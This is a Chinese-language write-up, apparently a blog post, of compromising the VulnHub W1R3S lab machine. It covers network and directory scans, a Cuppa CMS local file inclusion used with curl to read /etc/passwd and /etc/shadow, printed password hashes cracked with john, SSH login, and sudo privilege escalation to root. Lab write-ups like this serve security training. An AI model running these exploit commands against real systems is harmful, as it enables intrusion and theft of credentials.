信息收集:
靶机地址:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
(1)ip扫描
nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:3E:1E:7D'
![](https://img-blog.csdnimg.cn/img_convert/7a1efc02158eb13ae3c28e44ae1f2f29.png)
(2)端口扫描
nmap -p- -A 192.168.254.140
![](https://img-blog.csdnimg.cn/img_convert/2fde87d3c1525e82f86182de45c1c37c.png)
(3)目录扫描
dirsearach -u http://192.168.254.140
![](https://img-blog.csdnimg.cn/img_convert/9ec04afa6b7924ffd890a8fb2216dadd.png)
(4)访问页面,后面拼接访问目录扫描出的目录/administrator,点击next,发现Cuppa CMS
![](https://img-blog.csdnimg.cn/img_convert/08cf77c77dfe636fd7914111ca8e2eae.png)
![](https://img-blog.csdnimg.cn/img_convert/f7b372ce46f0b8e33ae7ed1baed6a2b4.png)
(5)漏洞利用
这是一个数据库的安装创建,但不知道密码和数据库名,观察到最上面的网页标题为Cuppa CMS,可以通过它来搜索一下它的历史漏洞,来进行利用
searchsploit cuppa #kali上自带工具进行搜索
![](https://img-blog.csdnimg.cn/img_convert/a85eedccf626537a6944c96be8af9554.png)
(6)将这个结果复制到kali当前目录下面
searchsploit -m php/webapps/25971.txt
查看这个文件
cat 25971.txt
![](https://img-blog.csdnimg.cn/img_convert/ebda8441899ddec729281a77d731ce7a.png)
![](https://img-blog.csdnimg.cn/img_convert/491d862090091173a1a2e66b65d75715.png)
![](https://img-blog.csdnimg.cn/img_convert/8feeb1a8a8447d0c820d0c2c302b4af0.png)
(7)文件中描述说,/alerts/alertConfigField.php文件urlConfig 参数存在 LFI 漏洞,可以利用特殊的 url ,查看本地文件,在网页上面进行访问尝试,并没发现什么有用的东西
http://192.168.254.140/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
![](https://img-blog.csdnimg.cn/img_convert/ae658afe662d927653855e4494156ed5.png)
(8)用curl 尝试看可不可以下载下来
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.254.140/administrator/alerts/alertConfigField.php
![](https://img-blog.csdnimg.cn/img_convert/41ff8c1d91be04d9bd2bbd9df8d9468d.png)
![](https://img-blog.csdnimg.cn/img_convert/7ef54f632e10e1a2341e77aadbf6e560.png)
(9)在文件中发现了 w1r3s 用户,用同样的方法获得存密码的shadow文件试试
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.254.140/administrator/alerts/alertConfigField.php
![](https://img-blog.csdnimg.cn/img_convert/1574074ef48ad395000fe4a66da2931e.png)
![](https://img-blog.csdnimg.cn/img_convert/9bfdaef1ee75cedf373275f2e3761bf6.png)
![](https://img-blog.csdnimg.cn/img_convert/7a173a35df4f83a5b42492d5d548ea43.png)
![](https://img-blog.csdnimg.cn/img_convert/6dedffac9d85e1a46246a865ec82177b.png)
(10)发现了 root 、www-data 、w1r3s 用户的密码,先把这三个用户的密码信息进行保存在一个txt文件中,尝试用 john 破解
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.
![](https://img-blog.csdnimg.cn/img_convert/b59b31c13ea36f11e644cb852b8753a5.png)
(11)进行john破解
#破解命令
john pas.txt
#破解出密码
www-data:www-data
w1r3s:computer
![](https://img-blog.csdnimg.cn/img_convert/267d876ca40a2552fcd547bd868f5721.png)
getshell:
(1)ssh进行远程连接,只有w1r3s用户可以连接成功
ssh w1r3s@192.168.254.140
![](https://img-blog.csdnimg.cn/img_convert/fe764b9c5a0b9ef02311f8999b140f9b.png)
提权:
(1)尝试 sudo 提权,发现该用户可以在任何地方执行任何名称文件获取 root 权限
sudo -l
![](https://img-blog.csdnimg.cn/img_convert/e9d7799a8ee57213c46d48170e185636.png)
(2)写一个sh文件,赋权并以sudo命令执行,成功提权
echo '/bin/bash' >> root.sh
chmod +x root.sh
sudo ./root.sh
![](https://img-blog.csdnimg.cn/img_convert/2bf9fe615590b497db07a93272756b1a.png)
(3)在 /root 目录下找到 flag.txt
![](https://img-blog.csdnimg.cn/img_convert/c63c7e87081f96c933f527daec1cd0a5.png)